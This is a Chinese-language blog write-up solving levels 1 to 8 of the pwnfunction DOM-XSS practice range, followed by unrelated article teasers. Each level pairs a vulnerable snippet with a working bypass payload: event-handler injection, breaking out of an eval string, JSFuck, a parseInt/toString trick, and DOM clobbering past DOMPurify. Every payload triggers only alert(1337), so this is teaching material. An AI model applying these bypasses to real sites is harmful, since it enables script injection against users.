XSS DOM型靶场复现(1-8关)

devtools/2024/9/24 14:23:36/

文章目录

  • XSS DOM型靶场复现(1-8关)
    • 登录靶场
    • 1.Ma Spaghet!
      • 要求
      • 代码
      • Let's go!
    • 2.Jefff
      • 要求
      • 代码
      • Let's go!
      • 方法1
      • 方法2
    • 3.Ugandan Kunckles
      • 要求
      • 代码
      • Let's go!
    • 4.Ricardo Milos
      • 要求
      • 代码
      • Let's go!
    • 5.Ah That's Hawt
      • 要求
      • 代码
      • Let's go!
    • 6.Ligma
      • 要求
      • 代码
      • Let's go!
    • 7.Mafia
      • 要求
      • 代码
      • Let's go!
      • 方法1
      • 方法2
      • 方法3
    • 8.Ok, Boomer
      • 要求
      • 代码
      • Let's go!

XSS DOM型靶场复现(1-8关)

登录靶场

https://xss.pwnfunction.com/

在这里插入图片描述

1.Ma Spaghet!

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

Let’s go!

在这里插入图片描述
这句的意思是获取这个url中的get参数,并存储到innerHTML中,也就是h2标签里。如果有就设置h2的值为get传参的值,如果没有就设置h2的值为“Somebody”

那么首先我们先试试往somebody传参试试

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=sesessep

这里存在一个问题,somebody传谁就显示谁,那么尝试传递报错代码给h2试试

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<script>alert(1)</script>

在这里插入图片描述
可以看到并没有报错弹窗,这么反常的原因是innerHTML因为安全性的问题不能执行插入的<script></script>标签,所有不能弹出报错弹窗
在这里插入图片描述
所有我们不能使用<script></script>标签,可以替换成<img>

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror="alert(1337)">

在这里插入图片描述
成功弹窗,第一关结束。

1.innerHTML中不能使用<script></script>标签
2.最好把innerHTML替换成有相同效果的innerText,以第一关为例,将innerHTML替换成innerText后,直接将语句当作字符串输出,所有innerText的安全系数要比innerHTML要高

 <script>spaghet.innerText = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

在这里插入图片描述

2.Jefff

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)    ---其中的动作为给变量ma赋值。setTimeout(_ => {maname.innerText = ma}, 1000)
</script>

Let’s go!

在这里插入图片描述
这句的意思是获取这个url中的get参数,如果有就设置h2的值为get传参的值,如果没有就设置h2的值为“JEFFF”
在这里插入图片描述
一个空值
在这里插入图片描述
命令执行代码
在这里插入图片描述
一个一次性定时器,表示在1秒后执行定时器中的动作

可以看到这里使用的是安全性更高的innerText而不是innerHTML,所有我们的入手点可以转换到eval上

方法1

尝试闭合双引号,相当于先执行了ma = "Ma name sesessep,之后再执行alert(1337),最后再加一个双引号进行闭合
在这里插入图片描述
在这里插入图片描述

方法2

在js中有一个特殊的连接符 " - "

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=sesessep%22-alert(1337);-%22

在这里插入图片描述

3.Ugandan Kunckles

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

Let’s go!

在这里插入图片描述
与第二关不同的是过滤了 " <> "

input里面有一个典型的问题,单引号闭合实现onclick,也就是在input里加一个onclick函数,函数里执行要执行的函数

我们同样可以先闭合一下看看
在这里插入图片描述

在这里插入图片描述
虽然成功弹窗,但是这里需要点击一下输入框,也就是进行了用户交互,不符合要求

那么有没有在input里不需要进行用户交互就可以实现动作的函数呢?
onfocus 函数,也就是获取焦点的意思,获取焦点以后就可以触发它的动作(弹窗)
在这里插入图片描述
按下tab后将焦点移到输入框上就可以实现弹窗
在这里插入图片描述
那如果在加上 autofocus 函数,自动聚焦,就可以不用用户按tab来触发弹窗,符合没有用户交互的要求了
在这里插入图片描述
在这里插入图片描述

4.Ricardo Milos

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>

Let’s go!

在这里插入图片描述
这里是通过一次性定时器进行form表单的自动提交

action表单的触发可以使用 javascript (提交触发)

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

在这里插入图片描述

5.Ah That’s Hawt

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>

Let’s go!

在这里插入图片描述
这里过滤了很多东西
在这里插入图片描述
这里使用了innerHTML,可不可以使用第一关的方法

=<img src=1 onerror="alert(1337)">

显然是不行的,因为“()”被过滤了

那我们可以使用实体编码 %28 %29 来替换“()”

可以利用location加javascript伪协议,将“符号”、“变量名”、“函数名”统统变成“字符串”,在字符串中我们可以使用所有js里可以使用的编码,去构造payload

=<img src="1" onerror=location="javascript:alert(1337)">
=<img src="1" onerror=location="javascript:alert%281337%29">

在这里插入图片描述

6.Ligma

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<h2 id="will"></h2>
<script>balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")balls = balls.replace(/[A-Za-z0-9]/g, '')eval(balls)
</script>

Let’s go!

在这里插入图片描述
过滤了所有字母和数字,和php相似,通过编码来解

我们要使用一个网站:https://jsfuck.com/
在这里插入图片描述
我们可以看到它可以将alert(1)编码成没有数字和字母,但我们仍需要进行urlcode进行编码
在这里插入图片描述

之后将url编码后的进行传参就可以了

7.Mafia

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<h2 id="will"></h2>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

Let’s go!

在这里插入图片描述
这里限制了最长50个字符
在这里插入图片描述
同样进行了过滤

方法1

这一关通过构造一个匿名函数
在这里插入图片描述
这样不可以,因为alert被过滤了,所有我们可以改成大写
在这里插入图片描述
但是这样就识别不了alert函数,所有我们要加上一个小写转换,将大写转换成小写
在这里插入图片描述
在这里插入图片描述

https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

在这里插入图片描述

方法2

利用两个函数,parseInt和toString来实现,两个函数都是进制转换,互为相反
在这里插入图片描述
先使用parseint函数将alert转化为30进制的数
在这里插入图片描述

在这里插入图片描述

再使用toString方法还原

https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)

在这里插入图片描述

方法3

location.hash.slice(1)

location.hash取的是“#”后面的值,再加一个slice(1)方法截取(从#后第一位开始截取),就可以直接将alert(1337)截取出来
在这里插入图片描述

8.Ok, Boomer

在这里插入图片描述

要求

  • 要弹出1337警告;

  • 不能有用户交互;

  • 不能使用
    https://sandbox.pwnfunction.com/?html=&js=&css=

  • 在Chrome下测试

代码

<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>

Let’s go!

在这里插入图片描述
这里使用DOMPurify框架进行了过滤(任何标签都会被过滤),这个框架很难去绕过
在这里插入图片描述
而下面只有一个setTimeout定时器函数,而函数里面得ok也是个未定义的变量

这里涉及了DOM破坏
DOM破坏说简单一点就是对元素或者属性的覆盖
我们可以通过DOM破坏来使不存在未定义的ok变量出现

=<a id=ok href="javascript:alert(1337)">

利用a标签中的自带的toString方法,当调用a标签的时候,href中的字符串会覆盖a标签。
id等于ok是为了setTimeout可以获取到我们写的a标签

没有反应
在这里插入图片描述
是因为JavaScript是DOMPurify框架中的黑名单,被过滤了,所有我们去到框架的白名单替换其中一个就行了
在这里插入图片描述
我们这里使用xmpp来代替JavaScript

https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=%22xmpp:alert(1337)%22%3E

在这里插入图片描述
成功

world war 3没做完…………求放过


http://www.ppmy.cn/devtools/96766.html

相关文章

【HarmonyOS NEXT星河版开发学习】综合测试案例-各平台评论部分

目录 前言 功能展示 整体页面布局 最新和最热 写评论 点赞功能 界面构建 初始数据的准备 列表项部分的渲染 底部区域 index部分 知识点概述 List组件 List组件简介 ListItem组件详解 ListItemGroup组件介绍 ForEach循环渲染 列表分割线设置 列表排列方向设…

杂集:(TreeSet去重,各类转型,静态导包,可变参数,加强for循环)

Listj集合&#xff1a;有序&#xff0c;可重复&#xff0c;有索引 有序&#xff1a;这里的有序&#xff0c;是指按照元素插入的顺序排序 Set集合&#xff1a;无序&#xff0c;不可重复&#xff0c;无索引 无序&#xff1a;这里的无序是指Set元素不会按照添加的顺序排列&…

联盟推广计划:释放SaaS企业增长潜力

在SaaS行业&#xff0c;用户增长是企业成功的关键。本文深入探讨联盟推广计划&#xff0c;分析其核心特点和优势&#xff0c;以及如何实施这一策略以实现用户增长和品牌扩展。随着SaaS市场的不断成熟&#xff0c;企业越来越需要创新的营销策略来突破增长瓶颈。PartnerShare联盟…

一台佳能G3811彩色喷墨打印机打印没颜色报5200的维修记录

一台佳能G3811彩色喷墨打印机,用户送修,称打印没有颜色,加电开机连电脑安驱动打印测试,确实没有颜色,于是清洗喷头结果打印机那个显示屏上 ,上来就报错P08,电脑提示5200; 话不多说,开始维修,仅记录当时的维修方法及步骤,其它未列出。。。 维修方法: 1、进维…

Ubuntu20.04安装pwndbg

Ubuntu20.04安装pwndbg 安装 该方案来自于&#xff1a;网址 第一步&#xff1a;安装pwntools sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential sudo python3 -m pip install --upgrade pip sudo python3 -m pip install …

Python爬虫使用实例

IDE&#xff1a;大部分是在PyCharm上面写的 解释器装的多 → 环境错乱 → error&#xff1a;没有配置&#xff0c;no model 爬虫可以做什么&#xff1f; 下载数据【文本/二进制数据&#xff08;视频、音频、图片&#xff09;】、自动化脚本【自动抢票、答题、采数据、评论、点…

【Oracle EBS R12】第四章 Calendar Currency设置(Step by Step详解版)

Oracle EBS R12 1. 设置 Calendar1.1 创建 Period type1.2 创建 Accounting Calendar 2. 开启 Currency 1. 设置 Calendar 1.1 创建 Period type Navigation: (GL)Setup->Financials->Calendards->types 输入Period type名称&#xff0c;有多少个期间&#xff0c;Y…

Vue2中watch与Vue3中watch对比和踩坑

上一节说到了 computed计算属性对比 &#xff0c;虽然计算属性在大多数情况下更合适&#xff0c;但有时也需要一个自定义的侦听器。这就是为什么 Vue 通过 watch 选项提供了一个更通用的方法&#xff0c;来响应数据的变化。当需要在数据变化时执行异步或开销较大的操作时&#…